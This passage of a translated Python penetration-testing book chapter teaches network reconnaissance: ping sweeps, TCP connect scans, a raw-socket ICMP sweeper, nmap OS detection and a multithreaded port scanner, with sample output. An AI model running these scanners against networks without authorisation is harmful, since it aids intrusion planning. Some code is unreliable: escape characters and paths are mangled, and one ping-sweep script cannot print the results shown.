  • 对于互联网或网络层,PDU 表示一个数据包

  • 对于数据链路层或网络访问层,PDU 表示帧

  • 对于物理层,即物理传输,PDU 表示位

如何检查网络中的活动系统以及活动系统的概念

Ping 扫描涉及向主机发送ICMP ECHO 请求。如果主机活动,它将返回ICMP ECHO 回复,如下图所示:

ICMP 请求和回复

操作系统的ping命令提供了检查主机是否活动的功能。考虑一种情况,您必须测试完整的 IP 地址列表。在这种情况下,如果您逐个测试 IP 地址,将需要大量的时间和精力。为了处理这种情况,我们使用 ping 扫描。

Ping 扫描

Ping 扫描用于通过发送 ICMP ECHO 请求和 ICMP ECHO 回复从一系列 IP 地址中识别活动主机。从子网和网络地址,攻击者或渗透测试人员可以计算网络范围。在本节中,我将演示如何利用操作系统的 ping 功能。

首先,我将编写一个简单而小的代码片段,如下所示:

import os
response = os.popen('ping -n 1 10.0.0.1')
for line in response.readlines():
    print line,

在前面的代码中,import os导入 OS 模块,以便我们可以在 OS 命令上运行。下一行,os.popen('ping -n 1 10.0.0.1'),将 DOS 命令作为字符串传递,并返回与命令的标准输入或输出流连接的类似文件的对象。 “ping -n 1 10.0.0.1”命令是 Windows OS 命令,发送一个 ICMP ECHO 请求数据包。通过阅读“os.psopen()”函数,您可以拦截命令的输出。输出存储在response变量中。在下一行中,使用“readlines()”函数来读取类似文件对象的输出。

程序的输出如下:

  G:Project SnakeChapter 2ip>ips.py
  Pinging 10.0.0.1 with 32 bytes of data:
  Reply from 10.0.0.1: bytes=32 time=3ms TTL=64
  Ping statistics for 10.0.0.1:
      Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
  Approximate round trip times in milli-seconds:
      Minimum = 3ms, Maximum = 3ms, Average = 3ms

输出显示“回复”,“字节”,“时间”和TTL值,表示主机是活动的。考虑程序对 IP10.0.0.2的另一个输出:

  G:Project SnakeChapter 2ip>ips.py
  Pinging 10.0.0.2 with 32 bytes of data:
  Reply from 10.0.0.16: Destination host unreachable.
  Ping statistics for 10.0.0.2:
      Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),

前面的输出显示主机未活动。

前面的代码对于正确的功能非常重要,类似于汽车的引擎。为了使其完全功能,我们需要修改代码,使其与平台无关,并产生易于阅读的输出。

我希望我的代码适用于一系列 IP 地址:

import os
net = raw_input("Enter the Network Address ")
net1= net.split('.')
print net1
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
print net2
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_input("Enter the Last Number "))

前面的代码要求子网的网络地址,但您可以提供子网的任何 IP 地址。下一行,net1= net.split('.'),将 IP 地址分成四部分。net2 = net1[0]+a+net1[1]+a+net1[2]+a语句形成网络地址。最后两行要求一系列 IP 地址。

要使其与平台无关,请使用以下代码:

import os
import platform
oper = platform.system()
if (oper=="Windows"):
  ping1 = "ping -n 1 "
elif (oper== "Linux"):
  ping1 = "ping -c 1 "
else :
  ping1 = "ping -c 1 "  

前面的代码确定了代码是在 Windows 操作系统上运行还是在 Linux 平台上。oper = platform.system()语句将此通知给正在运行的操作系统,因为 Windows 和 Linux 中的ping命令不同。Windows 操作系统使用ping -n 1发送一个 ICMP ECHO 请求数据包,而 Linux 使用ping -c 1

现在,让我们看看完整的代码如下:

import os
import platform
from datetime import datetime
net = raw_input("Enter the Network Address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_input("Enter the Last Number "))
en1=en1+1
oper = platform.system()

if (oper=="Windows"):
  ping1 = "ping -n 1 "
elif (oper== "Linux"):
  ping1 = "ping -c 1 "
else :
  ping1 = "ping -c 1 "
t1= datetime.now()
print "Scanning in Progress"
for ip in xrange(st1,en1):
  addr = net2+str(ip)
  comm = ping1+addr
  response = os.popen(comm)
  for line in response.readlines():
    if 'ttl' in line.lower():
      break
    if 'ttl' in line.lower():
      print addr, "--> Live"

t2= datetime.now()
total =t2-t1
print "scanning complete in " , total

在前面的代码中有一些新的东西。for ip in xrange(st1,en1):语句提供数字值,即 IP 地址的最后一个八位值。在for循环内,addr = net2+str(ip)语句使其成为一个完整的 IP 地址,comm = ping1+addr语句使其成为一个完整的操作系统命令,传递给os.popen(comm)if(line.count("TTL")):语句检查行中是否出现TTL。如果在行中找到任何TTL值,则使用break语句中断行的进一步处理。代码的下两行打印出找到TTL的 IP 地址。我使用datetime.now()来计算扫描所花费的总时间。

ping_sweep.py程序的输出如下:

  G:Project SnakeChapter 2ip>python ping_sweep.py
  Enter the Network Address 10.0.0.1
  Enter the Starting Number 1
  Enter the Last Number 60
  Scanning in Progress
  10.0.0.1 --> Live
  10.0.0.2 --> Live
  10.0.0.5 --> Live
  10.0.0.6 --> Live
  10.0.0.7 --> Live
  10.0.0.8 --> Live
  10.0.0.9 --> Live
  10.0.0.10 --> Live
  10.0.0.11 --> Live
  scanning complete in  0:02:35.230000

要扫描 60 个 IP 地址,程序花费了 2 分钟 35 秒。

TCP 扫描概念及其使用 Python 脚本的实现

Ping 扫描基于 ICMP ECHO 请求和 ICMP ECHO 回复。许多用户关闭了 ICMP ECHO 回复功能或使用防火墙阻止 ICMP 数据包。在这种情况下,您的 ping 扫描器可能无法工作。在这种情况下,您需要进行 TCP 扫描。我希望您熟悉三次握手,如下图所示:

为了建立连接,主机执行三次握手。建立 TCP 连接的三个步骤如下:

  1. 客户端发送了一个带有SYN标志的段; 这意味着客户端请求服务器开始一个会话

  2. 服务器以包含ACKSYN标志的段的形式发送回复

  3. 客户端以ACK标志响应

现在,让我们看看以下 TCP 扫描的代码:

import socket 
from datetime import datetime
net= raw_input("Enter the IP address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_input("Enter the Last Number "))
en1=en1+1
t1= datetime.now()
def scan(addr):
  sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  socket.setdefaulttimeout(1)
  result = sock.connect_ex((addr,135))
  if result==0:
    return 1
  else :
    return 0

def run1():
  for ip in xrange(st1,en1):
    addr = net2+str(ip)
    if (scan(addr)):
      print addr , "is live"

run1()
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total

前面代码的上半部分与先前的代码相同。在这里,我们使用了两个函数。首先,scan(addr)函数使用套接字,如第一章中所讨论的,Python 与渗透测试和网络result = sock.connect_ex((addr,135))语句返回一个错误指示器。如果操作成功,则错误指示器为0,否则为errno变量的值。在这里,我们使用端口135;这个扫描器适用于 Windows 系统。有一些端口,如137138139(NetBIOS 名称服务)和445(Microsoft-DSActive Directory)通常是开放的。因此,为了获得更好的结果,您必须更改端口并重复扫描。

iptcpscan.py程序的输出如下:

  G:Project SnakeChapter 2ip>python iptcpscan.py
  Enter the IP address 10.0.0.1
  Enter the Starting Number 1
  Enter the Last Number 60
  10.0.0.8 is live
  10.0.0.11 is live
  10.0.0.12 is live
  10.0.0.15 is live
  scanning complete in  0:00:57.415000
  G:Project SnakeChapter 2ip>

让我们更改端口号。使用137,您将看到以下输出:

  G:Project SnakeChapter 2ip>python iptcpscan.py
  Enter the IP address 10.0.0.1
  Enter the Starting Number 1
  Enter the Last Number 60
  scanning complete in  0:01:00.027000
  G:Project SnakeChapter 2ip>

该端口号将没有任何结果。再次更改端口号。使用445,输出将如下所示:

  G:Project SnakeChapter 2ip>python iptcpscan.py
  Enter the IP address 10.0.0.1
  Enter the Starting Number 1
  Enter the Last Number 60
  10.0.0.5 is live
  10.0.0.13 is live
  scanning complete in  0:00:58.369000
  G:Project SnakeChapter 2ip>

前面三个输出显示10.0.0.510.0.0.810.0.0.1110.0.0.1210.0.0.1310.0.0.15是活动的。这些 IP 地址正在运行 Windows 操作系统。这是一个让您检查 Linux 的常见开放端口并使 IP 成为完整 IP TCP 扫描器的练习。

如何在 Windows 中创建一个高效的 IP 扫描器

到目前为止,您已经看到了 ping 扫描仪和 IP TCP 扫描仪。想象一下,您购买了一辆拥有所有必要设施的汽车,但速度非常慢;您觉得这是浪费时间和金钱。当我们的程序执行非常缓慢时,情况也是如此。对于ping_sweep.py程序扫描 60 个主机,对于 TCP 扫描仪几乎花费了一分钟的相同 IP 地址范围,花费了 2 分钟 35 秒。这需要很长时间才能产生结果。但不用担心。Python 为您提供了多线程,这将使您的程序更快。

我已经写了一个关于多线程 ping 扫描的完整程序,并将在本节中向您解释:

import os
import collections
import platform
import socket, subprocess,sys
import threading
from datetime import datetime
''' section 1 '''

net = raw_input("Enter the Network Address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_input("Enter the Last Number "))
en1 =en1+1
dic = collections.OrderedDict()
oper = platform.system()

if (oper=="Windows"):
  ping1 = "ping -n 1 "
elif (oper== "Linux"):
  ping1 = "ping -c 1 "
else :
  ping1 = "ping -c 1 "
t1= datetime.now()
'''section 2'''
class myThread (threading.Thread):
  def __init__(self,st,en):
    threading.Thread.__init__(self)
    self.st = st
    self.en = en
  def run(self):
    run1(self.st,self.en)
'''section 3'''         
def run1(st1,en1):
  #print "Scanning in Progess"
  for ip in xrange(st1,en1):
    #print ".",
    addr = net2+str(ip)
    comm = ping1+addr
    response = os.popen(comm)
    for line in response.readlines():
      if(line.count("TTL")):
        break
    if (line.count("TTL")):
      #print addr, "--> Live"
      dic[ip]= addr
''' Section 4  '''
total_ip =en1-st1
tn =20  # number of ip handled by one thread
total_thread = total_ip/tn
total_thread=total_thread+1
threads= []
try:
  for i in xrange(total_thread):
    en = st1+tn
    if(en >en1):
      en =en1
    thread = myThread(st1,en)
    thread.start()
    threads.append(thread)
    st1 =en
except:
  print "Error: unable to start thread"
print "t
Number of Threads active:", threading.activeCount()

for t in threads:
  t.join()
print "Exiting Main Thread"
dict = collections.OrderedDict(sorted(dic.items()))
for key in dict:
  print dict[key],"-->" "Live"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total

“第 1 节”部分与上一个程序相同。这里添加的一件事是有序字典,因为它记住了其内容添加的顺序。如果想知道哪个线程首先输出,那么有序字典适合这里。 “第 2 节”部分包含线程类,class myThread (threading.Thread):语句初始化线程类。self.st = stself.en = en语句获取 IP 地址的起始和结束范围。 “第 3 节”部分包含run1函数的定义,它是汽车的引擎,并由每个具有不同 IP 地址范围的线程调用。dic[ip]= addr语句将主机 ID 存储为有序字典中的键,并将 IP 地址存储为值。 “第 4 节”语句在此代码中是全新的;total_ip变量是要扫描的 IP 地址总数。

tn =20变量的重要性在于它表示一个线程将扫描 20 个 IP 地址。total_thread变量包含需要扫描total_ip的总线程数,它表示 IP 地址的数量。threads= []语句创建一个将存储线程的空列表。for循环,for i in xrange(total_thread):,产生线程:

en = st1+tn
  if(en >en1):
    en =en1
  thread = myThread(st1,en)
  thread.start()
  st1 =en

前面的代码生成了 20-20 个 IP 地址的范围,例如st1-20, 20-40 ......-en1thread = myThread(st1,en)语句是线程类的线程对象:

for t in threads:
  t.join()

前面的代码终止了所有线程。接下来的一行,dict = collections.OrderedDict(sorted(dic.items())),创建了一个新的排序字典dict,其中按顺序包含 IP 地址。接下来的行按顺序打印活动 IP。threading.activeCount()语句显示了产生了多少个线程。一图胜千言。以下图表也是如此:

创建和处理线程

ping_sweep_th_.py程序的输出如下:

  G:Project SnakeChapter 2ip>python ping_sweep_th.py
  Enter the Network Address 10.0.0.1
  Enter the Starting Number 1
  Enter the Last Number 60
          Number of Threads active: 4
  Exiting Main Thread
  10.0.0.1 -->Live
  10.0.0.2 -->Live
  10.0.0.5 -->Live
  10.0.0.6 -->Live
  10.0.0.10 -->Live
  10.0.0.13 -->Live
  scanning complete in  0:01:11.817000

扫描已在一分 11 秒内完成。作为练习,更改tn变量的值,将其从2设置为30,然后研究结果并找出tn的最合适和最佳值。

到目前为止,您已经看到了多线程的 ping 扫描;现在,我编写了一个使用 TCP 扫描方法的多线程程序:

import threading
import time
import socket, subprocess,sys
import thread
import collections
from datetime import datetime
'''section 1''' 
net = raw_input("Enter the Network Address ")
st1 = int(raw_input("Enter the starting Number  "))
en1 = int(raw_input("Enter the last Number "))
en1=en1+1
dic = collections.OrderedDict()
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
t1= datetime.now()
'''section 2'''
class myThread (threading.Thread):
  def __init__(self,st,en):
    threading.Thread.__init__(self)
    self.st = st
    self.en = en
  def run(self):
    run1(self.st,self.en)

'''section 3'''
def scan(addr):
  sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  socket.setdefaulttimeout(1)
  result = sock.connect_ex((addr,135))
  if result==0:
    sock.close()
    return 1
  else :
    sock.close()

def run1(st1,en1):
  for ip in xrange(st1,en1):
    addr = net2+str(ip)
    if scan(addr):
      dic[ip]= addr
'''section 4'''
total_ip =en1-st1
tn =20  # number of ip handled by one thread
total_thread = total_ip/tn
total_thread=total_thread+1
threads= []
try:
  for i in xrange(total_thread):
    #print "i is ",i
    en = st1+tn
    if(en >en1):
      en =en1
    thread = myThread(st1,en)
    thread.start()
    threads.append(thread)
    st1 =en
except:
  print "Error: unable to start thread"
print "t Number of Threads active:", threading.activeCount()
for t in threads:
  t.join()
print "Exiting Main Thread"
dict = collections.OrderedDict(sorted(dic.items()))
for key in dict:
  print dict[key],"-->" "Live"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total

理解该程序不应该有困难。以下图表显示了所有内容:

IP TCP 扫描仪

该类以范围作为输入并调用run1()函数。 “第 4 节”部分创建一个线程,它是类的实例,获取一个短范围,并调用run1()函数。run1()函数具有一个 IP 地址,获取来自线程的范围,并生成输出。

iptcpscan.py程序的输出如下:

  G:Project SnakeChapter 2ip>python iptcpscan_t.py
  Enter the Network Address 10.0.0.1
  Enter the starting Number  1
  Enter the last Number 60
          Number of Threads active: 4
  Exiting Main Thread
  10.0.0.5 -->Live
  10.0.0.13 -->Live
  scanning complete in  0:00:20.018000

20 秒内扫描 60 个 IP 地址;性能还不错。作为练习,将两个扫描仪合并成一个扫描仪。

如何在 Linux 中创建高效的 IP 扫描仪

之前的 IP 扫描器可以在 Windows 和 Linux 上运行。现在,我要解释一个超级快的 IP 扫描器,但它只能在 Linux 机器上运行。在前面的代码中,我们使用了 ping 实用程序,但现在我们将使用我们自己的 ping 数据包来进行 ping。

基于 Linux 的 IP 扫描器的概念

IP 扫描器背后的概念非常简单。我们将产生多个线程,向不同的 IP 地址发送 ping 数据包。一个守护线程将负责捕获这些 ping 数据包的响应。要运行 IP 扫描器,您需要安装 ping 模块。您可以从这里下载 ping 模块的.zip文件:pypi.python.org/pypi/ping。只需解压缩或解压 tar,浏览文件夹,并运行以下命令:

python setup.py install

如果您不想安装模块,那么只需从解压后的文件夹中复制ping.py文件,并将其粘贴到您将要运行 IP 扫描器代码的文件夹中。

让我们看看ping_sweep_send_rec.py的代码:

import socket
from datetime import datetime
import ping
import struct
import binascii
from threading import Thread
import time

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))

net = raw_input("Enter the Network Address ")
net1= net.rsplit('.',1)
net2 = net1[0]+'.'
start1 = int(raw_input("Enter the Starting Number "))
end1 = int(raw_input("Enter the Last Number "))
end1 =end1+1

seq_ip = []
total_ip =end1-start1
tn =10 # number of ip handled by one thread
total_thread = total_ip/tn
total_thread=total_thread+1
threads= []
t1= datetime.now()

def send_ping(st1,en1):
  for each in xrange(st1,en1):
    try:
      ip = net2+str(each)
      ping.do_one(ip,1,32)
    except Exception as e :
      print "Error in send_ping", e

def icmp_sniff():
  s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

  while True:
    pkt = s.recvfrom(2048)
    num = pkt[0][14].encode('hex')
    ip_length = (int(num) % 10) * 4
    ipheader = pkt[0][14:14+ip_length]
    icmp_h =pkt[0][14+ip_length]
    ip_hdr = struct.unpack("!8sBB2s4s4s",ipheader[:20])
    icmp_hdr = struct.unpack("!B",icmp_h)
    if(ip_hdr[2]==1) and (icmp_hdr[0]==0):
      ip = socket.inet_ntoa(ip_hdr[4])
      ip1= ip.rsplit('.',1)
      list_temp = [ip1[1].zfill(3),ip]
      seq_ip.append(list_temp)

scan_thread = Thread(target=icmp_sniff)
scan_thread.setDaemon(True)
scan_thread.start()
st1 = start1

try:
    for i in xrange(total_thread):
    en = st1+tn
    if(en >end1):
      en =end1
    ping_thread = Thread(target=send_ping,args=(st1,en,) )
    ping_thread.start()
    threads.append(ping_thread)
    st1 =en

except Exception as e :
     print "Error in Thread", e

for t in threads:
    t.join()
time.sleep(1)
seq_ip.sort(key=lambda x: int(x[0]))
print "S.no\t","IP"
for each in seq_ip:
  print each[0]," ", each[1]

t2= datetime.now()
print "Time taken ", t2-t1

在前面的代码中,IP 计算和线程创建部分与我们之前看到的代码块非常相似。send_ping函数由线程调用,以便使用 ping 模块发送 ping 数据包。在语法ping.do_one(ip,1,32)中,第二个和第三个参数分别表示超时和数据包大小。因此,我将1设置为超时,32设置为 ping 数据包大小。icmp_sniff中的代码可能对您来说是新的。您将在第三章中学习所有语法的详细信息,即嗅探和渗透测试。简而言之,icmp_sniff函数正在从传入的 ICMP 回复数据包中捕获发送者的 IP 地址。正如我们已经知道的那样,ICMP 回复数据包的代码是0。语法if(ip_hdr[2]==1)(icmp_hdr[0]==0)表示我们只想要 ICMP 和 ICMP 回复数据包。

让我们运行代码并查看输出:

前面的输出显示,程序只需要大约 11 秒就可以对 254 个主机进行扫描。在前面的代码中,我们设置了每个线程 10 个 IP 地址。您可以更改每个线程的 IP 地址。尝试不同的值并优化每个线程的 IP 值。

使用 Python 的 nmap

这一部分专门为 nmap 爱好者准备。您可以在 Python 中使用nmap。您只需要安装python-nmap模块和nmap。安装它们的命令非常简单。通过使用 pip,我们可以安装python-nmap

pip install python-nmap

安装python-nmap模块后,您可以通过导入来检查nmap模块。如果导入时没有错误,那么这意味着它已成功安装。让我们看看nmap里面有什么:

>>>import nmap
>>> dir(nmap)
['ET', 'PortScanner', 'PortScannerAsync', 'PortScannerError', 'PortScannerHostDict', 'PortScannerYield', 'Process', '__author__', '__builtins__', '__doc__', '__file__', '__last_modification__', '__name__', '__package__', '__path__', '__version__', 'convert_nmap_output_to_encoding', 'csv', 'io', 'nmap', 'os', 're', 'shlex', 'subprocess', 'sys']

我们将使用PortScanner类来实现这一点。让我们看看代码,然后运行它:

import nmap, sys
syntax="OS_detection.py <hostname/IP address>"
if len(sys.argv) == 1:
 print (syntax)
 sys.exit()
host = sys.argv[1]
nm=nmap.PortScanner()
open_ports_dict = nm.scan(host, arguments="-O").get("scan").get(host).get("tcp")
print "Open ports ", " Description"
port_list = open_ports_dict.keys()
port_list.sort()
for port in port_list:
 print port, "---\t-->",open_ports_dict.get(port)['name']
print "\n--------------OS detail---------------------\n"
print "Details about the scanned host are: \t", nm[host]['osmatch'][0]['osclass'][0]['cpe']
print "Operating system family is: \t\t", nm[host]['osmatch'][0]['osclass'][0]['osfamily']
print "Type of OS is: \t\t\t\t", nm[host]['osmatch'][0]['osclass'][0]['type']
print "Generation of Operating System :\t", nm[host]['osmatch'][0]['osclass'][0]['osgen']
print "Operating System Vendor is:\t\t", nm[host]['osmatch'][0]['osclass'][0]['vendor']
print "Accuracy of detection is:\t\t", nm[host]['osmatch'][0]['osclass'][0]['accuracy']

前面的代码非常简单:只需创建一个nm=nmap.PortScanner()对象。当您调用nm.scan(host, arguments="-O")方法时,您将获得一个非常复杂的字典。以下输出是字典的一部分:

 'scan': {'192.168.0.1': {'status': {'state': 'up', 'reason': 'localhost-response'}, 'uptime': {'seconds': '7191', 'lastboot': 'Mon Mar 19 20:43:41 2018'}, 'vendor': {}, 'addresses': {'ipv4': '192.168.0.1'}, 'tcp': {902: {'product': '', 'state': 'open', 'version': '', 'name': 'iss-realsecure', 'conf': '3', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': ''}, 135: {'product': '', 'state': 'open', 'version': '', 'name': 'msrpc', 'conf': '3', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': ''}, 139: {'product': '', 'state': 'open', 'version': '', 'name': 'netbios-ssn', 'conf': '3', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': ''}, 5357: {'product': '', 'state': 'open', 'version': '', 'name': 'wsdapi', 'conf': '3', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': ''}, 912: {'product': '', 'state': 'open', 'version': '', 'name': 'apex-mesh', 'conf': '3', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': ''}, 445: {'product': '', 'state': 'open', 'version': '', 'name': 'microsoft-ds', 'conf': '3', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': ''}}, 'hostnames': [{'type': '', 'name': ''}], 'osmatch': [{'osclass': [{'osfamily': 'Windows', 'vendor': 'Microsoft', 'cpe': ['cpe:/o:microsoft:windows_10'], 'type': 'general purpose', 'osgen': '10', 'accuracy': '100'}], 'line': '65478', 'name': 'Microsoft Windows 10 10586 - 14393', 'accuracy': '100'}], 'portused': [{'state': 'open', 'portid': '135', 'proto': 'tcp'}, {'state': 'closed', 'portid': '1', 'proto': 'tcp'}, {'state': 'closed', 'portid': '34487', 'proto': 'udp'}]}}}

从前面的代码中,很容易获得所需的信息;但需要基本的 Python 知识。让我们在四种不同的操作系统上运行代码。首先,我在 Redhat Linux 5.3 和 Debian 7 上运行了代码。您可以在以下输出中看到:

从前面的输出中,您可以看到nmap成功找到了开放的 TCP 端口和所需的操作系统详细信息。

让我们在 Windows 操作系统上运行nmap

在前面的输出中,nmap成功找到了 Windows XP 和 Windows 10。nmap模块中还有许多其他功能。您可以自行探索这些功能并编写适当的代码。

目标机器上运行哪些服务?

现在,您已经熟悉了如何扫描 IP 地址并在子网中识别活动主机。在本节中,我们将讨论运行在主机上的服务。这些服务是使用网络连接的服务。使用网络连接的服务必须打开一个端口;从端口号,我们可以识别在目标机器上运行的服务。在渗透测试中,端口扫描的重要性在于检查主机上是否运行了非法服务。

考虑这样一种情况,用户通常使用他们的计算机下载游戏,在游戏安装过程中发现了特洛伊木马。特洛伊木马进入隐藏模式;打开一个端口;将所有按键,包括日志信息,发送给黑客。在这种情况下,端口扫描有助于识别在受害者计算机上运行的未知服务。

端口号范围从065535。众所周知的端口(也称为系统端口)是从01023的端口,保留用于特权服务。从102449151的端口是用于应用程序的注册端口,例如,端口3306保留用于 MySQL。

端口扫描器的概念

TCP 的三次握手作为端口扫描器的逻辑;在 TCP/IP 扫描器中,您已经看到端口(137135)是 IP 地址范围中的一个。但是,在端口扫描器中,IP 只是一个范围内的一个端口。取一个 IP 并尝试连接用户给定的范围内的每个端口。如果连接成功,端口打开;否则,端口保持关闭。

我已经为端口扫描编写了一些非常简单的代码:

import socket, subprocess,sys
from datetime import datetime

subprocess.call('clear',shell=True)
rmip = raw_input("t Enter the remote host IP to scan:")
r1 = int(raw_input("t Enter the start port numbert"))
r2 = int (raw_input("t Enter the last port numbert"))
print "*"*40
print "n Mohit's Scanner is working on ",rmip
print "*"*40

t1= datetime.now()
try:
  for port in range(r1,r2):
    sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket.setdefaulttimeout(1)

    result = sock.connect_ex((rmip,port))
    if result==0:
      print "Port Open:-->t", port
      # print desc[port]
    sock.close()

except KeyboardInterrupt:
  print "You stop this "
  sys.exit()

except Exception as e :
  print e
  sys.exit()

t2= datetime.now()

total =t2-t1
print "scanning complete in " , total

主要逻辑已经写在try块中,表示汽车的引擎。您熟悉语法。让我们对输出进行研究和开发。

portsc.py程序的输出如下:

  root@Mohit|Raj:/port#python portsc.py 
         Enter the remote host IP to scan:192.168.0.3
         Enter the start port number    1
         Enter the last port number     4000
  ****************************************
   Mohit's Scanner is working on  192.168.0.3
  ****************************************
  Port Open:-->      22
  Port Open:-->      80
  Port Open:-->      111
  Port Open:-->      443
  Port Open:-->      924
  Port Open:-->      3306
  scanning complete in  0:00:00.766535

前面的输出显示,端口扫描器在0.7秒内扫描了 1,000 个端口;连接是完整的,因为目标机器和扫描器机器在同一个子网上。

让我们讨论另一个输出:

    Enter the remote host IP to scan:10.0.0.1
    Enter the start port number 1
    Enter the last port number  4000
  ****************************************
  Mohit's Scanner is working on  10.0.0.1
  ****************************************
  Port Open:-->  23
  Port Open:-->  53
  Port Open:-->  80
  Port Open:-->  1780
  scanning complete in  1:06:43.272751

现在,让我们分析一下输出:扫描 4,000 个端口,扫描器花费了1:06:43.272751小时。这花了很长时间。拓扑结构是:

192.168.0.10 --> 192.168.0.1 --> 10.0.0.16 ---> 10.0.0.1

192.168.0.110.0.0.16 IP 地址是网关接口。我们在socket.setdefaulttimeout(1)中设置了一秒,这意味着扫描机器将在每个端口上最多花费一秒。总共有 4,000 个端口,这意味着如果所有端口都关闭,那么总共花费的时间将是 4000 秒;如果我们将其转换成小时,将变成 1.07 小时,几乎等于我们程序的输出。如果我们设置socket.setdefaulttimeout(.5),所需时间将减少到 30 分钟,这仍然是很长的时间。没有人会使用我们的扫描器。所需时间应该少于 100 秒扫描 4,000 个端口。

如何创建一个高效的端口扫描器

我已经提出了一些应该考虑的要点,以便获得一个良好的端口扫描器:

  • 应该使用多线程以获得高性能

  • socket.setdefaulttimeout(1) 方法应根据情况设置

  • 端口扫描器应该能够接受主机名和域名

  • 端口应该提供端口号和服务名称

  • 应该考虑端口扫描的总时间

  • 要扫描端口065535,所需时间大约为 3 分钟

所以现在我已经编写了我的端口扫描器,我通常用于端口扫描:

from threading import Thread
import time
import socket
from datetime import datetime
import cPickle
'''Section1'''
pickle_file = open("port_description.dat",'r') 
data=skill=cPickle.load(pickle_file) 

def scantcp(r1,r2,):
  try:
    for port in range(r1,r2):
      sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      socket.setdefaulttimeout(c)
      result = sock.connect_ex((rmip,port))
      if result==0:
        print "Port Open:-->\t", port,"--", data.get(port, "Not in Database")
      sock.close()

  except Exception as e:
    print e

'''Section 2 '''
print "*"*60
print " \tWelcome, this is the Port scanner \n "
d=raw_input("\tPress D for Domain Name or Press I for IP Address\t") 

if (d=='D' or d=='d'):
    rmserver = raw_input("\t Enter the Domain Name to scan:\t")
    rmip = socket.gethostbyname(rmserver)
elif(d=='I' or d=='i'):
    rmip = raw_input("\t Enter the IP Address to scan: ")

else: 
    print "Wrong input"

port_start1 = int(raw_input("\t Enter the start port number\t"))
port_last1 = int(raw_input("\t Enter the last port number\t"))
if port_last1>65535:
  print "Range not Ok"
  port_last1 = 65535
  print "Setting last port 65535"
conect=raw_input("For low connectivity press L and High connectivity Press H\t")

if (conect=='L' or conect=='l'):
    c =1.5

elif(conect =='H' or conect=='h'):
    c=0.5

else:
    print "\twrong Input"

'''Section 3'''
print "\n Mohit's port Scanner is working on ",rmip
print "*"*60
t1= datetime.now()
total_ports=port_last1-port_start1

ports_by_one_thread =30
                   # tn number of port handled by one thread
total_threads=total_ports/ports_by_one_thread # tnum number of threads
if (total_ports%ports_by_one_thread!= 0):
    total_threads= total_threads+1

if (total_threads > 300):
  ports_by_one_thread= total_ports/300
  if (total_ports%300 !=0):
    ports_by_one_thread= ports_by_one_thread+1

  total_threads = total_ports/ports_by_one_thread 
  if (total_ports%total_threads != 0):
    total_threads= total_threads+1

threads= []
start1 = port_start1
try:
  for i in range(total_threads):

    last1=start1+ports_by_one_thread
    # thread=str(i)
    if last1>=port_last1:
      last1 = port_last1
    port_thread = Thread(target=scantcp,args=(start1,last1,) )
    port_thread.start()
    threads.append(port_thread)
    start1=last1

except Exception as e :
     print e
'''Section 4'''
for t in threads:
    t.join()
print "Exiting Main Thread"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total

不要害怕看到完整的代码;我花了 2 周的时间。我将逐节向你解释完整的代码。在section1中,前两行与存储端口信息的数据库文件有关,这将在创建数据库文件时进行解释。scantcp()函数由线程执行。在section 2中,这是用于用户输入的。如果用户提供的端口范围超过65535,那么代码会自动处理错误。低连通性和高连通性意味着如果你在使用互联网,使用低连通性。如果你在自己的网络上使用代码,你可以使用高连通性。在section 3中,写入了线程创建逻辑。30个端口将由一个线程处理,但如果线程数超过300,则端口每个线程的方程将被重新计算。在for循环中,线程被创建,每个线程携带自己的端口范围。在section 4中,线程被终止。

我在进行了大量实验后编写了上述代码。

现在,是时候看portsc15.py程序的输出了:

 K:\Book_projects\Project Snake 2nd\Chapter2_scanning>python port_scanner15.py
************************************************************
 Welcome, this is the Port scanner

 Press D for Domain Name or Press I for IP Address i
 Enter the IP Address to scan: 10.0.0.1
 Enter the start port number 1
 Enter the last port number 4000
For low connectivity press L and High connectivity Press H l

 Mohit's port Scanner is working on 10.0.0.1
************************************************************
Port Open:--> 875 -- Not in Database
Port Open:--> 3306 -- MySQL database system Official
Port Open:--> 80 -- QUIC (from Chromium) for HTTP Unofficial
Port Open:--> 111 -- ONC RPC (Sun RPC) Official
Port Open:--> 443 -- QUIC (from Chromium) for HTTPS Unofficial
Port Open:--> 22 -- , SCTP : Secure Shell (SSH)ΓÇöused for secure logins, file transfers (scp, sftp) and port forwarding Official
Port Open:--> 53 -- Domain Name System (DNS) Official
Exiting Main Thread
scanning complete in 0:00:31.778000

K:\Book_projects\Project Snake 2nd\Chapter2_scanning>

我们高效的端口扫描器给出了与之前简单扫描器相同的输出,但从性能的角度来看,有很大的差异。简单扫描器所花费的时间是1:06:43.272751,但新的多线程扫描器只花了 32 秒。它还显示了服务名称。让我们检查一下端口150000的更多输出:

 K:\Book_projects\Project Snake 2nd\Chapter2_scanning>python port_scanner15.py
************************************************************
 Welcome, this is the Port scanner

 Press D for Domain Name or Press I for IP Address i
 Enter the IP Address to scan: 192.168.0.3
 Enter the start port number 1
 Enter the last port number 50000
For low connectivity press L and High connectivity Press H l

